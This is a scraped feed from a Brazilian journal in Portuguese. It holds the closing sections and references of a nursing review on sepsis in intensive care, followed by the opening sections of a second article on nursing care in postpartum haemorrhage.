<p class="wp-block-paragraph">A sepse e o choque séptico exigem atuação rápida e precisa da enfermagem na UTI. O enfermeiro é fundamental para reconhecer precocemente alterações clínicas, aplicar intervenções imediatas e monitorizar rigorosamente os parâmetros do paciente. A SAE e os protocolos clínicos qualificam o cuidado, favorecendo decisões seguras e baseadas em evidências. A comunicação eficaz e a capacitação contínua fortalecem a segurança do paciente. Assim, a competência técnica e o julgamento clínico do enfermeiro são determinantes para prevenir agravamentos e melhorar os desfechos terapêuticos em situações de alta complexidade. <sup>(5,6)</sup></p>



<p class="wp-block-paragraph">Diante desse cenário, torna-se essencial integrar protocolos clínicos e práticas baseadas em evidências para qualificar as estratégias de detecção e manejo da sepse. Espera-se um trabalho contínuo e articulado entre as diferentes áreas da equipe multiprofissional, reforçando a importância do cuidado integrado. Nessa perspectiva, os enfermeiros desempenham suas funções com competência em todas as etapas do processo de enfermagem, desde o planejamento individualizado até as intervenções necessárias frente aos problemas reais ou potenciais apresentados pelos pacientes sépticos. Destaca-se ainda a importância de adaptar protocolos e diretrizes nacionais e internacionais às particularidades de cada instituição. Assim, cabe a toda equipe de saúde — especialmente à enfermagem, que mantém contato contínuo com o paciente crítico — a responsabilidade de aplicar com expertise as estratégias de monitoramento, reconhecimento e manejo da sepse na UTI. <sup>(5)</sup></p>



<p class="wp-block-paragraph">Assim, a atuação do enfermeiro, fundamentada em iniciativa, competência técnica e compromisso ético, é crucial para estabilizar o paciente, prevenir agravamentos e melhorar os resultados terapêuticos. A combinação entre conhecimento técnico, julgamento clínico e sensibilidade no cuidado sustenta a capacidade de enfrentar os desafios da sepse e do choque séptico, evidenciando a importância da enfermagem na preservação da vida e na oferta de uma assistência segura e qualificada em contextos de alta complexidade. <sup>(8)</sup></p>



<p class="wp-block-paragraph">A coordenação do cuidado realizada pelos enfermeiros favorece a colaboração multidisciplinar e garante uma abordagem integrada no manejo da sepse, promovendo comunicação eficaz entre os profissionais e assegurando a atenção a todas as necessidades do paciente. Contudo, persistem desafios, como a falta de recursos e a demanda por capacitação contínua. <sup>(8)</sup></p>



<p class="wp-block-paragraph">As infecções hospitalares e a sepse em UTIs constituem importantes desafios para a prática clínica e para a segurança do paciente crítico, devido à alta complexidade assistencial, ao uso de procedimentos invasivos e à resistência microbiana. Esses fatores aumentam o risco de complicações graves e elevam a morbimortalidade. A literatura destaca que a prevenção deve ser prioridade, com adesão rigorosa à higiene das mãos, aplicação de protocolos padronizados e uso racional de antimicrobianos. A educação permanente das equipes multiprofissionais também é essencial. Tais medidas reduzem a incidência de infecções, melhoram os desfechos clínicos e diminuem o tempo de internação e os custos hospitalares. <sup>(9)</sup></p>



<p class="wp-block-paragraph">A presente revisão de literatura permitiu identificar os principais fatores desencadeantes da sepse na unidade de terapia intensiva, os sinais clínicos apresentados pelos pacientes e o papel do enfermeiro no cuidado, atuando para impedir ou reduzir a progressão da sepse para formas mais graves e garantindo uma assistência de qualidade ao paciente séptico. Diante das limitações desta pesquisa, especialmente por incluir apenas estudos relacionados à UTI adulto, sugere-se a realização de novas investigações, principalmente estudos originais, que possibilitem identificar os índices da patologia, o perfil clínico dos pacientes e a realidade da atuação do enfermeiro in loco na assistência a indivíduos com sepse no ambiente intensivo. <sup>(10)</sup></p>



<p class="wp-block-paragraph">Em conclusão, o reconhecimento precoce da sepse é fundamental para um tratamento adequado, e a ausência de educação continuada e treinamentos da equipe compromete a efetividade das respostas terapêuticas. Destaca-se a importância de que as instituições invistam na capacitação da equipe de enfermagem, permitindo que reconheçam os sinais de gravidade e aprimorem a qualidade da assistência prestada, especialmente por estarem à beira leito de forma contínua. Quando devidamente treinada e preparada para executar os protocolos com precisão, a equipe contribui significativamente para a redução das taxas de morbidade e, principalmente, das mortalidades associadas à sepse. <sup>(11.12)</sup></p>



<p class="wp-block-paragraph">A sepse configura-se como um importante problema de saúde pública no Brasil e no mundo, em razão dos elevados índices de mortalidade associados a essa condição. No contexto da Unidade de Terapia Intensiva (UTI), essa preocupação torna-se ainda mais evidente, considerando o alto percentual de pacientes internados com diagnóstico confirmado de sepse. Nesse cenário, cabe ao enfermeiro desenvolver um olhar clínico apurado, mantendo-se atento às alterações hemodinâmicas, além de possuir conhecimento sólido acerca da fisiopatologia da doença, de seus sinais e sintomas e da terapêutica integral. Dessa forma, ao colocar o processo de enfermagem como eixo central de sua prática profissional, o enfermeiro estará apto a atuar de maneira eficaz, atendendo às necessidades prioritárias de cuidado do paciente séptico. <sup>(13,14)</sup></p>



<p class="wp-block-paragraph">O estudo analisou os principais fatores relacionados à sepse neonatal, destacando o tempo de internação, o tipo de sepse e diagnósticos associados, como prematuridade e insuficiência respiratória aguda. A sepse precoce foi a mais frequente, sobretudo nas infecções pulmonares. Houve controle adequado do uso de dispositivos invasivos, ventilação mecânica e antibioticoterapia, embora variações na duração desses tratamentos possam ter influenciado a evolução clínica. A prematuridade mostrou-se um fator determinante para os desfechos. De forma positiva, todos os recém-nascidos apresentaram boa evolução, com alta hospitalar por cura, evidenciando a eficácia das estratégias adotadas pela equipe multiprofissional. <sup>(15,16,17,18)</sup></p>



<p class="wp-block-paragraph"><strong>5.</strong> <strong>CONSIDERAÇÕES FINAIS</strong></p>



<p class="wp-block-paragraph">Esta Revisão Integrativa evidenciou que a atuação da enfermagem é decisiva para a detecção precoce, intervenção rápida e monitorização contínua de pacientes com sepse na UTI. Os estudos analisados destacam que a adesão aos protocolos assistenciais, o reconhecimento imediato dos sinais clínicos e a administração ágil das terapias recomendadas reduzem significativamente a mortalidade.</p>



<p class="wp-block-paragraph">As categorias temáticas emergentes demonstraram que os principais desafios incluem falhas na comunicação entre equipes, baixa adesão a protocolos e necessidade de capacitação contínua. Tais fatores reforçam a importância do julgamento clínico do enfermeiro, do trabalho multiprofissional e de ambientes organizacionais que favoreçam práticas seguras.</p>



<p class="wp-block-paragraph">Apesar dos avanços, ainda existem lacunas relacionadas à avaliação de intervenções educativas e estratégias para aprimorar a atuação da enfermagem no manejo da sepse. Assim, recomenda-se a realização de novos estudos que aprofundem essas questões e fortaleçam a aplicação de cuidados baseados em evidências. Conclui-se que a enfermagem exerce papel central na assistência ao paciente séptico, sendo essencial investir em educação permanente, padronização de protocolos e recursos que favoreçam a identificação precoce e a melhoria dos desfechos clínicos em terapia intensiva.</p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS</strong></p>



<ol class="wp-block-list">
<li>MINISTÉRIO DA SAÚDE. 13/9 – <strong>Dia Mundial da Sepse </strong>[Internet]. Brasília: Ministério da Saúde; 2021 [citado em 2025 Dez 07]. Disponível em: <a href="https://bvsms.saude.gov.br/13-9-dia-mundial-da-sepse-2/?utm_source=chatgpt.com">https://bvsms.saude.gov.br/13-9-dia-</a> <a href="https://bvsms.saude.gov.br/13-9-dia-mundial-da-sepse-2/?utm_source=chatgpt.com">mundial-da-sepse-2/</a></li>



<li>JUNIOR, A. (Org.). Sistematização da assistência de enfermagem a pacientes adultos com diagnóstico de sepse. <strong>Rev Baiana Saúde Pública</strong>. 2020;44(2):218-39</li>



<li>MOREIRA, D.A. (Org.). <strong>Assistência de enfermagem ao paciente com sepse</strong>: análise à luz do modelo conceitual de Myra Levine. Esc Anna Nery. 2022;26:e20210368. Disponível em: https:/<a href="http://www.scielo.br/j/ean/a/">/www.scielo.br/j/ean/a/</a></li>



<li>CAETANO, P.D.T.; NASCIMENTO, N.J.; PEREIRA, R. Índice de sepse em UTI no Brasil e a importância da educação permanente com os profissionais de enfermagem e comunidade sobre sinais e sintomas de sepse. <strong>Rev Bras Reabil Ativ Fís</strong>. 2023;12(2):69–75.</li>



<li>BISPO, H.M. (Org.). Métodos para detecção e manejo da sepse em uma Unidade de Terapia Intensiva: uma revisão integrativa. <strong>Research, Society and Development. </strong>2025;14(10):e177141049851.</li>



<li>SANTOS, R.F. (Org.). Cuidados de enfermagem ao paciente em choque séptico na unidade de terapia intensiva. <strong>Rev Ibero-Am Humanid Ciênc Educ</strong>. 2025;11(10):2927-37.</li>



<li>LIMA, D.H.L. (Org.). Como elaborar uma revisão integrativa: sistematização do método científico. <strong>Rev Recien</strong>. 2022;12(37):334-45</li>



<li>LÓZ, T.A. (Org.). Sepse em ambientes hospitalares: uma revisão integrativa da literatura. <strong>Rev Ibero-Am Humanid Ciênc Educ</strong>. 2024;10(6):1393-409.</li>



<li>SANTOS, L.B. (Org.). Assistência de enfermagem na prevenção de infecção hospitalar e sepse em terapia intensiva. <strong>Lumen et Virtus</strong>. 2025;16(52):e 8039.</li>



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<li>MORAES, V.L.; MARCOMINI, E.K.; MARTINS, A.P.O.Q. Atuação do enfermeiro no cuidado ao paciente em quadro clínico de sepse: revisão integrativa. <strong>Res Soc Dev.</strong> 2022;11(10):e509111033008.</li>
</ol>



<ol start="12" class="wp-block-list">
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<li>FLORIANO, L.A. STABJLE, A.M. Cuidados de enfermagem a sobreviventes de sepse após a alta da uti. <strong>Recima21 Rev Cient Multidiscip. </strong>2023;4(9):e494063.</li>



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<li>SANTANA, A.L.B. (Org.). Fatores de risco associados à sepse em pacientes internados na unidade de terapia intensiva. <strong>Research, Society and Development. </strong>2022;11(13):e 314111335333.</li>



<li>OLIVEIRA, R.G. (Org.). Processo de Enfermagem na sepse neonatal em uma Unidade de Terapia Intensiva: medidas preventivas e identificação de fatores de risco. <strong>Caderno Pedagógico. </strong>2025;22(13):e 21703.</li>



<li>SILVA, M. I.K. (Org.). Cuidados intensivos de enfermagem ao paciente com sepse: uma revisão integrativa. <strong>Enferm Bras</strong>. 2024;23(1):1453-62.</li>
</ol>



<ol start="14" class="wp-block-list">
<li></li>
</ol>



<hr class="wp-block-separator has-text-color has-ast-global-color-2-color has-alpha-channel-opacity has-ast-global-color-2-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph"><sup>1</sup>Enfermeira, Especialista em saúde pública e urgência e emergência, Docência do Ensino Superior, FAG.<br><sup>2</sup>Enfermeira, Especialista em Terapia Intensiva (UVA – CE). Docência em Ensino Superior (FAK – CE). Especialista em Saúde da Família (UVA – CE). Especialista em Qualidade e Segurança no Cuidado ao Paciente (Instituto Sírio-Libanês – SP). Mestre em Terapia Intensiva (IBRATI – SP). Doutora em Terapia Intensiva (SORRATI – SP). Docente da UNIFAMEC – CRATO/CE. Docente do Centro de Ensino em Saúde, SP.</p>
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			</item>
		<item>
		<title>A ASSISTÊNCIA DO ENFERMEIRO FRENTE AS HEMORRAGIAS PÓS PARTO (HPP)</title>
		<link>https://revistaft.com.br/a-assistencia-do-enfermeiro-frente-as-hemorragias-pos-parto-hpp/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Mon, 09 Feb 2026 17:34:52 +0000</pubDate>
				<category><![CDATA[Enfermagem]]></category>
		<category><![CDATA[Volume 30 – Edição 155/FEV 2026]]></category>
		<guid isPermaLink="false">https://revistaft.com.br/?p=264958</guid>

					<description><![CDATA[REGISTRO DOI: 10.69849/revistaft/cl10202602091434 Robson Abreu Carvalho1Anna Paula de Souza Santos2Ana Luzia Costa e Silva Côrtes3Orientadores: Ana Paula de Siqueira Silva4Salatiel dos Santos5 RESUMO&#160; A Obstetrícia é uma área de grande complexidade, tendo em vista as emergências obstétricas relacionadas a mortalidade, sendo a Hemorragia Pós&#160; Parto (HPP) a segunda causa de mortalidade materna no Brasil. se [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202602091434</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph">Robson Abreu Carvalho<sup>1</sup><br>Anna Paula de Souza Santos<sup>2</sup><br>Ana Luzia Costa e Silva Côrtes<sup>3</sup><br>Orientadores: Ana Paula de Siqueira Silva<sup>4</sup><br>Salatiel dos Santos<sup>5</sup></p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>RESUMO&nbsp;</strong></p>



<p class="wp-block-paragraph">A Obstetrícia é uma área de grande complexidade, tendo em vista as emergências obstétricas relacionadas a mortalidade, sendo a Hemorragia Pós&nbsp; Parto (HPP) a segunda causa de mortalidade materna no Brasil. se Caracterizando como um grande problema de saúde Pública, Diante disso é imprescindível a assistência do enfermeiro na prevenção e manejo deste agravo. Este estudo busca evidenciar as principais intervenções do profissional enfermeiro frente às emergências hemorrágicas, visto a realidade de que muitos profissionais ainda se encontram desqualificados e sem o conhecimento necessários para detecção precoce e intervenção qualificada imediata. O presente estudo se define como uma abordagem metodológica de Revisão de Literatura integrativa e pesquisa qualitativa, embasados em artigos científicos e literaturas baseadas em evidências. As pesquisas evidenciaram que muitos casos de HPP poderiam ser prevenidos através da estratificação dos riscos associados desde o Pré-natal, e identificados de maneira precocemente se a assistência fosse realizada de acordo com as principais evidências científicas. Com isso ressalta a importância da adoção de protocolos atualizados, e práticas de simulações realísticas dentro dos ambientes de saúde. as intervenções que mais se destacaram durante a realização da pesquisa científica foi o manejo qualificado durante o terceiro período do trabalho de parto e administração de medicamentos uterotónicos preferencialmente a ocitocina. Dentro deste contexto, se perpétua a importância do conhecimento técnico e científico do enfermeiro obstetra, com um olhar holístico e integral prestando uma assistência humanizada, a fim de proporcionar segurança, conforto e bem-estar ao binômio mãe e filho.&nbsp;</p>



<p class="wp-block-paragraph"><strong>Palavras-chave: </strong>Hemorragias, Puerpério, Enfermeiro.</p>



<p class="wp-block-paragraph"><strong>1.</strong> <strong>INTRODUÇÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">A gestação é um momento único e singular na vida da mulher, cheio de emoções para a chegada do bebê e também o momento do parto, momento esse que pode ser marcado por diversas complicações após a fase expulsiva do trabalho de parto, como a hemorragia pós-parto (HPP). caracterizada pela saída de sangue maior que 500 ml após o parto normal e 1.000 ml após parto cesárea, a principal causa é a falta de tônus na musculatura uterina fazendo com que tenha hemorragias, seguido de coagulopatias, retenção de fragmentos placentários e lacerações de trajeto (Branga et al,.2022).&nbsp;</p>



<p class="wp-block-paragraph">Albuquerque e Siqueira (2024) em seu estudo entende que constantemente ocorrem diversas mudanças no organismo materno durante o processo de gestação, transformações essas que irão preparar o corpo da mulher para o período gestacional. Dentre elas as fisiológicas, anatômicas e em todos os sistemas deste organismo com o intuito de suprir as novas necessidades materna-fetal.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Conforme Jesus et al. (2024) O enfermeiro é um dos principais profissionais atuantes na prevenção da HPP, através do olhar holístico e integral com o intuito de compreender a clínica do paciente e ter um pensamento crítico e reflexivo de acordo com as evidências científicas. Devido às mudanças funcionais específicas como a involução uterina e normalização do sistema circulatório, o enfermeiro deve estar atento ao monitoramento contínuo e realizando intervenções precoce, evitando lesões irreversíveis. Neste momento de fragilidade é crucial a abordagem do enfermeiro qualificado, humanizada que abrange todos os aspectos biopsicossocial da puérpera.&nbsp;</p>



<p class="wp-block-paragraph">Diante desta realidade, este estudo se torna imprescindível tendo em vista a alta prevalência deste acometimento e altas taxas de morbimortalidade, associado a falta de conhecimento técnico científico dos profissionais enfermeiros e protocolos institucionais atualizados. Por tanto este estudo tem como objetivo identificar nas principais evidências científicas a assistência do enfermeiro frente as HPP, a assistência prestada nesta emergência obstétrica deve ser qualificada e humanizada de acordo com as principais literaturas científicas, potencializando a importância da prática baseada em evidências e a qualidade e segurança da assistência obstétrica de acordo com (Xavier et al.,2025).&nbsp;</p>



<p class="wp-block-paragraph">O presente estudo tem como objetivos específicos evidenciar os cuidados executados pelo enfermeiro frente às hemorragias pós parto , apresentar as intervenções qualificadas no manejo e intervenções farmacológicas eficientes. Diante disso justifica-se a relevância da pesquisa científica no âmbito da saúde pública, tendo em vista a falta de conhecimento e competências dos profissionais e altas taxas de morbimortalidade.&nbsp;</p>



<p class="wp-block-paragraph">Conforme De Souza et al. (2025) É importante salientar que o cuidado integral materno e infantil tem o foco de prevenção e manejo, monitorando sinais vitais e intervindo quando presente sinais de hipovolemia. Com isso destacando a relevância da utilização da ´´hora de Ouro´´, ferramenta essencial no diagnóstico precoce das Hemorragias Pós Parto e contribuindo para um desfecho positivo ( De Souza et al., 2025).&nbsp;</p>



<p class="wp-block-paragraph">Frente ao exposto, Almeida et al. (2023) Entende a complexidade desta patologia, reforçando o compromisso dos enfermeiros de prevenir a ocorrência e identificar precocemente os sinais e a etiologia da HPP a fim de minimizar a morbimortalidade. Por ser uma emergência obstétrica, responsável pela maior causa de mortalidade materna no Brasil e no mundo. Nessas intercorrências, pontuamos a importância do conhecimento técnico-científico do enfermeiro.&nbsp;</p>



<p class="wp-block-paragraph">Diante desta problemática, qual o papel do enfermeiro frente às HPP?&nbsp;</p>



<p class="wp-block-paragraph"><strong>2.</strong> <strong>DESENVOLVIMENTO&nbsp;</strong></p>



<p class="wp-block-paragraph"><strong>2.1</strong> <strong>Metodologia</strong>&nbsp;</p>



<p class="wp-block-paragraph">O estudo em questão tratou-se de uma abordagem metodológica determinada a partir da literatura de revisão bibliográfica, de caráter Revisão qualitativa&nbsp; das literaturas científicas. Que tem como determinação investigar conhecimentos com base em evidências científicas, propondo-se sintetizar a relevância da assistência do enfermeiro na prevenção, promoção e manejo das HPP e as principais intervenções de acordo com as evidências científicas mais recentes.&nbsp;</p>



<p class="wp-block-paragraph">Abordagem metodológica desenvolvida refere-se a revisão qualitativa de literatura, em que consiste agrupar e sintetizar apuramento de múltiplos artigos de um determinado segmento ou assunto estabelecido, desenvolvendo uma investigação secundária de estudos já divulgados e indexados nas principais bases de dados. E, portanto, ser prescindível a construção de novas ideias objetivando complementar ou atualizar a ideia investigada (Branga et al.,2022). O fichamento dos artigos científicos e a coleta de dados será elaborado entre os meses de janeiro a setembro de 2025, com foco na defesa da dissertação II. Diante do aparato a pesquisa se concretizará buscando artigos nas principais bases de dados referência Google Acadêmico, Scientific Electronic Library Online (Scielo) , Biblioteca Virtual de saúde (BVS), Literatura latino-Americana e do Caribe em Ciências da Saúde(Lilacs). Portanto, para desenvolver este artigo científico as buscas foram introduzidas neste estudo por meio das seguintes palavras chaves: puerpério, hemorragias e enfermeiro. Frente a isso foi empregado o operador booleano And, culminando na presente sequência &#8220;Hemorragias&#8221; And &#8220;Puerpério&#8221; And &#8220;Enfermeiro&#8221;.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Acrescenta-se que, a definição das bases de dados conduzirá estudos que serão analisados para títulos, resumos, palavras-chaves e criação de novos conhecimentos, com o intuito de buscar dados fidedignos para o tema estipulado. Para a leitura na íntegra os critérios de inclusão serão tais como artigos gratuitos e relevantes ao tema, em língua portuguesa, revisão de literaturas, estudos pertinentes aos últimos quatro anos (2022 a 2025) e Revistas. Para determinar e delinear o desenvolvimento da pesquisa minimizando erros na transcrição de dados, os critérios de exclusão definidos serão livros, capítulos de livros, estudos de caso, materiais sem referências e manuais, artigos estrangeiros, pesquisa quantitativa, pesquisa exploratória e estudo de caso.&nbsp;</p>



<p class="wp-block-paragraph"><strong>2.2</strong> <strong>Resultados e Discussão </strong>&nbsp;</p>



<p class="wp-block-paragraph">A gestação é um período de grande complexidade que ocorre transformações biológicas e emocionais, que marca a vida da mulher de maneira indescritível. um momento único e singular na vida das mulheres, frente a essas mudanças do período gestacional algumas gestantes podem se mostrar sensíveis e despreparadas psicologicamente diante do período de gestação e puerpério, enquanto outras mais seguras. Diante disso é imprescindível a atuação dos profissionais de maneira humanizada e qualificada, a fim de proporcionar uma experiência livre de traumas ( Xavier et al.,2025).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Nessa perspectiva, podemos ter alguns riscos associados ao parto, com isso devemos reconhecer todas as etapas do trabalho de parto desde os pródromos, dilatação, expulsão, dequitação e greenberg e como elas devem acontecer para que quando ocorra alguma intercorrência rapidamente intervimos. Por outro lado, alguns históricos de anteparto podem aumentar a ocorrência das hemorragias Pós Parto (HPP), Por exemplo gravidez gemelar, multiparidade, plaquetopenia, macrossomia fetal e trabalho de parto prolongado. Frente aos riscos expostos podemos desenvolver diversas ações com foco preventivo desde o pré-natal por meio da educação em saúde e estratificação dos riscos associados conforme ( Jesus et al.,2024).&nbsp;</p>



<p class="wp-block-paragraph">No pensamento de Araújo et al. (2025) conceitua-se como Hemorragia Pós Parto (HPP) o sangramento excessivo acima de 500 ml após o parto natural e 1000 ml após parto cirúrgico até a sexta semana após o parto, Ou qualquer perca sanguínea que possa evoluir com instabilidade hemodinâmica. Neste sentido a identificação precocemente da etiologia das HPP é fundamental para uma intervenção imediata e assertiva, dentre as principais causas de HPP está a Atonia uterina em 70% dos casos, laceração de trajeto, retenção de fragmentos transplacentários e coagulopatias.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Frente a isso, evidência-se a importância da assistência da equipe multiprofissional, preferencialmente o enfermeiro que é o profissional responsável pelo cuidado direto e indireto dos pacientes diante dos agravos relacionados à gestação, parto e nascimento. A hemorragia pós parto se caracteriza como a segunda causa de mortalidade e morbidade materna no período do puerpério no Brasil, tornando um grande desafio para os profissionais de saúde de acordo com (Xavier et al.,2024).&nbsp;</p>



<p class="wp-block-paragraph">Em consonância com Araújo et al.(2025) A hemorragia pós-parto é uma das principais causas de morbimortalidade materna, levando a 14 milhões de mortes de puérpera por ano em nível internacional. Considerada situação de risco que exige atendimento obstétrico imediato, evoluindo com instabilidade hemodinâmica que pode comprometer múltiplos órgãos e tecidos.&nbsp;</p>



<p class="wp-block-paragraph">Souza et al (2025) e Bonfim et al (2022) destaca a importância do início do pré-natal o mais precoce possível, entende-se que enquanto mais cedo iniciar menos chances de desenvolver complicações decorrentes do processo gestacional e melhor o desfecho obstétrico, estratificando todos os riscos associados ao desenvolvimento de hemorragias pós parto. A estratificação dos fatores de risco é de suma importância quando falamos de uma patologia com altos índice de mortalidade materna, com o enfermeiro sendo a peça fundamental na identificação e resolução durante o pré-natal.&nbsp;</p>



<p class="wp-block-paragraph">Em complemento, o enfermeiro presta a assistência em todos os ciclos de vida da mulher, necessitando de capacitação e atualização recorrente quando se fala em qualidade e segurança. Com isso estudos corroboram que treinamentos da equipe multiprofissional e práticas de simulações realísticas está cada vez mais relacionado com a segurança diante dessa emergência obstétrica, tendo em vista a falta de conhecimento e habilidades necessárias para lidar diante desse cenário conforme (Silva et al., 2025) e (Santos et al., 2023).&nbsp;</p>



<p class="wp-block-paragraph">Para realizar uma assistência qualificada e baseada em evidências científicas,&nbsp; É de suma importância saber identificar a etiologia da hemorragia pós parto, com isso alguns estudos sugerem que utilizamos uma ferramenta conhecida como &#8220;hora de ouro´´ que consiste no monitoramento e detecção em até 60 minutos da origem do sangramento. aumentando as taxas de sobrevida, favorecendo assim uma intervenção precoce e ideal para cada tipo de hemorragias. É de total relevância que o profissional saiba identificar as manifestações clínicas de um choque hipovolêmico,&nbsp; pois só assim, de acordo com protocolos rigorosos, intervimos com as principais práticas segundo (Jesus et al., 2024).&nbsp;</p>



<p class="wp-block-paragraph">Em consonância a essas informações, Santos et al. (2025) aborda a importância de uma assistência humanizada, com suporte emocional e psicológico, respeitando a autonomia da mulher e atendendo a parturiente com um olhar biopsicossocial. Em outra visão, a abordagem integrada faz total diferença, colocando a puérpera como o centro do cuidado sistematizado e respeitando a Política Nacional de Humanização (PNH).&nbsp;</p>



<p class="wp-block-paragraph">Albuquerque e Siqueira (2023) ressalta que o manejo adequado ao terceiro período do trabalho de parto e a monitorização contínua é fator preponderante para a prevenção da hemorragia pós parto, isso porque qualquer alteração clínica do seu estado geral, vai ser identificada rapidamente promovendo um prognóstico positivo. A verificação dos sinais vitais é o principal meio para identificar alterações sistêmicas, através da oximetria, frequência cardíaca e pressão arterial.&nbsp;</p>



<p class="wp-block-paragraph">Moura et al. 2025 aborda a importância de conhecer o mnemônico dos 4Ts que se refere à tônus, trauma, tecido e trombina que são as causas da hemorragias pós parto. A atonia uterina é a principal responsável por esta emergência obstétrica, caracterizada pela ausência de tônus na musculatura uterina aumentando as chances de sangramentos intensivos. Com isso é imprescindível que o enfermeiro realize a manobra de Hamilton, que consiste em apalpar o fundo uterino bimanual para estimular a contração uterina e avaliar a presença do globo de segurança de Pinard de acordo com (Santos et al., 2025).&nbsp;</p>



<p class="wp-block-paragraph">Araújo et al. (2024) em sua vertente aborda o trauma nas hemorragias pós parto relacionado a macrossomia fetal, trabalho de parto extenso e polidrâmnio. Através da revisão de períneo e do canal vaginal podemos identificar se há a presença de lacerações de diferentes graus, sendo as de pequeno grau competência do enfermeiro realiza a sutura perineal, e em casos mais críticos encaminhar para o centro cirúrgico quando for necessário.&nbsp;</p>



<p class="wp-block-paragraph">Albuquerque e Siqueira (2023) ressalta a relevância da inspeção de placenta e anexos fetais, verificando se a placenta se encontra íntegra ou ocorreu alguma retenção, prevenindo a ocorrência de sangramentos por retenção de fragmentos placentários. Nos distúrbios de trombina a investigação de problemas de coagulação com os familiares faz se necessário, a fim de identificar problemas hereditários, uso de determinados medicamentos e até mesmo problemas de anemia, coleta de dados no prontuário, análise de exames laboratoriais como valor de hemoglobina e hematócrito é de grande relevância na identificação da causa conforme (Xavier et al., 2024).&nbsp;</p>



<p class="wp-block-paragraph">Alguns cuidados executado pelos enfermeiros são primordiais para controle de hemorragias, tais como avaliar perfusão capilar, realizar cateterismo vesical de Demora, Coletar gasometria arterial para avaliar os níveis de gases e eletrólitos, oferta de Oxigênio quando necessário, verificar a presença do globo de segurança de pinard são intervenções fundamentais na monitorização e acompanhamento do estado de saúde das puérperas segundo (Branga et al., 2022).&nbsp;</p>



<p class="wp-block-paragraph">Em consonância Xavier et al. (2024) e Moura et al. (2025) aponta que a realização de dois acesso venoso calibrosos é de grande importância, frente a sangramentos, com o objetivo de repor hemoderivados e a administração de solução fisiológica ou Ringer lactato aquecidos, posicionar paciente em posição de trendelenburg, se atentar aos sinais de choque hipovolêmico é de grande relevância neste contexto.&nbsp;</p>



<p class="wp-block-paragraph">Em contrapartida, Almeida et al. (2023) afirma que prioridade é realizar a quantificação do sangramento, através de pesagens de compressas, campos cirúrgicos a fim de dimensionar a quantidade de volume perdido. Com tudo, alguns estudos sugerem o uso de medicamentos uterotónicos como a ocitocina para profilaxia após a dequitação, ou em menor custo o misoprostol via retal. Porém existem algumas barreiras que impedem uma assistência qualificada como a escassez de insumos, falta de protocolos atualizados e profissionais competentes.&nbsp;</p>



<p class="wp-block-paragraph">Silva et al. (2025) aborda em sua tese que Junto com os uterotónicos como a ocitocina, podemos utilizar o ácido tranexâmico um antifibrinolítico, utilizados em sangramentos excessivos. Quando essas alternativas mais básicas não demonstra tantos resultados, há formas mais avançadas de intervenções no manejo das hemorragias puerperais, tais como a utilização do Balão de tamponamento Intrauterino (BTI) que deve ser realizado por profissionais capacitados e qualificados devido os riscos associados, à utilização do Traje Antichoque Não Pneumático (TAN) de acordo (Gomez; Feitoza,2024).&nbsp;</p>



<p class="wp-block-paragraph">Ademais Silva et al. (2022) ressalta a relevância das políticas públicas no âmbito da obstetrícia e o papel&nbsp; do&nbsp; profissional enfermeiro, tendo em vista que ele é o ponto de comunicação entre a equipe multiprofissional, através da coordenação da equipe por meio da comunicação eficaz, proporcionando um cuidado integral. Frente a isso é relevante sintetizar a função educativa do enfermeiro, educando a equipe de enfermagem em relação aos sinais de alerta.&nbsp;</p>



<p class="wp-block-paragraph">Diante de toda essa relevância da assistência frente às emergências obstétricas, o enfermeiro necessita estar atualizado com os protocolos rigorosos disponíveis nas instituições de saúde, o que muitas das vezes acaba não sendo a realidade. Com isso muitas das vezes os casos de hemorragia pós parto passa despercebido, aumentando assim as taxas de mortalidade materna. Diante disso é necessário que os gestores e coordenadores adotem essa cultura de assistência protocolada, contribuindo para uma assistência eficiente e qualificada na perspectiva de (Jesus et al., 2024).&nbsp;</p>



<p class="wp-block-paragraph">Com tudo, no pensamento de Branga et al. (2022) e Santos et al. (2025) desde a admissão da gestante até a alta hospitalar, a assistência deve ser realizada de forma integrada e sistematizada, realizando um manejo adequado no terceiro período do parto e a profilaxia pós parto com uterotónicos de preferência a ocitocina. O enfermeiro precisa estar atento ao monitoramento contínuo da parturiente, isso porque as primeiras horas após o parto é crucial para identificar sangramentos. Frente a isso utilizamos a “hora de ouro’’ essencial na identificação da etiologia da hemorragia.&nbsp;</p>



<p class="wp-block-paragraph">Dentre toda a complexidade deste agravamento branes et al.(2024) destaca a importância da Sistematização da assistência de enfermagem (SAE), no processo de cuidar eficiente atrelado ao processo de enfermagem (PE), reconhecendo manifestações clínicas precocemente como Síncope, Hipotensão, taquicardia, confusão mental, oligúria, rebaixamento do nível de consciência e hipoperfusão, realizando intervenções eficazes em tempo ágil.&nbsp;</p>



<p class="wp-block-paragraph">Em outro prisma Santos et al. (2025) fortalece o aspecto e importância do papel do enfermeiro de educar como estratégia preventiva, tendo em vista o impacto que a educação em saúde causa através de orientações minuciosas que fazem total diferença no período do puerpério, contribuindo na autonomia da mulher tanto para gestante, quanto para família que estará como rede de apoio neste momento tão importante. Destacando sinais de alerta e retorno materno para avaliação clínica, estreitando a relação enfermeiro- família.&nbsp;</p>



<p class="wp-block-paragraph">Por outro lado, algumas intervenções não farmacológicas realizadas pelo enfermeiro são a conscientização e educação sobre a importância do aleitamento materno, sanando dúvidas da puérpera e família. Ressaltando que este ato traz benefícios tanto para o neonato quanto para a parturiente, na primeira hora de nascimento e o contato pele a pele precocemente. Esses cuidados simples fazem grande diferença tendo em vista que estes quando realizados, fisiologicamente estimula a produção de ocitocina auxiliando na involução uterina por meio da contração do útero, minimizando as chances de desenvolvimento da HPP e fortalecendo o vínculo do binômio Mãe e filho. ( Branga et al.,2022).&nbsp;</p>



